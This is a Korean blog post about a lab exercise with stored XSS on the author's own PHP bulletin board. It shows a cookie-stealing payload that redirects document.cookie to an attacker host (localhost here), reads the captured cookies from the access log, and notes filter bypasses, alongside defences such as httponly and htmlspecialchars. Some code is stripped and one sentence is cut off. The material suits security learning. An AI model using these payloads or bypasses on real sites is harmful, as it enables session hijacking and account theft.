[Web Hacking] XSS(Cross-Site Scripting) 실습

[Web Hacking] XSS(Cross-Site Scripting) 실습

728x90

앞서 포스팅한 [Web Hacking] XSS(Cross-Site Scripting) 취약점(아래 링크)을 토대로 실습을 진행해보았다.

XSS 실습

앞서 제작한 게시판 웹앱에서 실습해 보기로 했다.

query($query); if ($result) { ?> alert(""); location.replace("");

위 PHP 코드는 게시판 기능 중 게시글 작성시 필요한 기능인 write_action.php 소스코드이다.

XSS에 대한 어떠한 방지 기능도 구현하지 않았기 때문에 대부분의 공격 기법이 잘 먹히는 것을 확인할 수 있을 것이다.

먼저, 가장 간단한 alert 구문에 documet.cookie를 입력하고 저장하여, 게시글 확인 시 민감 정보인 쿠키를 출력하도록 Stored XSS 공격을 진행해 보았다.

// 공격 스크립트 alert(document.cookie)

Stored XSS 1 - Attack

Stored XSS 1 - Result

위와 같이 쿠키가 정상적으로 출력된 것을 확인할 수 있다.

쿠키가 잘 출력된 것을 확인했으니, 이번에는 사용자의 쿠키를 탈취한 뒤 공격자에게 전송하는 XSS 공격을 시도해보도록 하겠다.

// 공격 스크립트 document.location="localhost/cookie?"+document.cookie

위 스크립트를 살펴보면 document.cookie를 통해 사용자의 쿠키를 수집하고, document.location을 통해 수집한 쿠키를 공격자의 웹 사이트로 리다이렉션한다.

본 실습에서 공격자를 localhost에서 구현하였기에 주소를 localhost로 입력했다.

Stored XSS 2 - Result

본 게시글에 접근하는 사용자의 쿠키를 확인하기 위해서는 접근 로그를 기록하는 access_log 파일을 확인하면 된다.

access_log 파일은 웹 서버로 들어오는 모든 정보가 기록되는 공간이며, 필자의 환경에서 다음과 같이 명령을 실행하였다.

tail -f Applications/mampstack-8.0.3-0/apache2/logs/access_log

tail -f access_log

위와 같이 수집된 사용자의 쿠키가 실시간으로 출력되는 것을 확인할 수 있다.

이를 서버 단에서 방지하기 위해 스크립트에 의한 Cookie 접근을 제한하는 옵션인 httponly를 사용할 수 있다.

PHP 기준, /etc/php.ini 파일에서 session.cookie_httponly = 1로 설정한 후 재시작하면 적용된다.

[htmlspecialchars 함수]

htmlspecialchars 함수는 문자열에서 특정한 특수문자를 HTML 엔티티로 변환한다. 이 함수를 사용하면 악성 사용자로 부터 XSS 공격을 방지 할 수 있다.

변환되는 문자는 아래와 같다.

특수문자 변환된 문자 & & " " ' ' < < > >

이렇게 변환된 문자열들은 웹 브라우저가 읽더라도 더 이상 스크립트로 처리하지 않기 때문에 공격자가 삽입한 스크립트 코드는 실행되지 않는다.

대부분의 언어들은 이러한 처리 기능을 가진 내장 함수를 포함하여 XSS 공격을 방지한다.

[str_replace 필터링]

그러나 자바스크립트는 대소문자를 구별하는 특성을 지니고 있기 때문에 지정한 값만 치환되며 대소문자를 섞어

[preg_replace 필터링]

preg_replace("검색패턴(정규식)"), "치환할 문자열", 변수);

preg_replace 함수는 str_replace 함수와 달리, 대소문자를 구별하지 않기 때문에 지정한 값의 대소문자 변환 경우의 수는 모두 치환된다.

그러나 ript>와 같이 입력하면 우회가 가능하다. 따라서 preg_replace 필터링 방식은 적절한 대응 방안이 될 수 없다.

[XSS Cheat Sheet]

XSS Cheat Sheet를 참조하여 각종 이벤트 핸들러 등 공격 가능한 부분을 파악한 후 대응하는 것이 중요하다.

XSS Cheat Sheet 관련 웹 사이트 및 문서를 모아두었다. 언젠가 쓸 일이 있지 않을까.

[참고]

https://g-idler.tistory.com/12?category=829171

728x90

from http://hooneee.tistory.com/369 by ccl(A) rewrite - 2021-10-28 11:26:21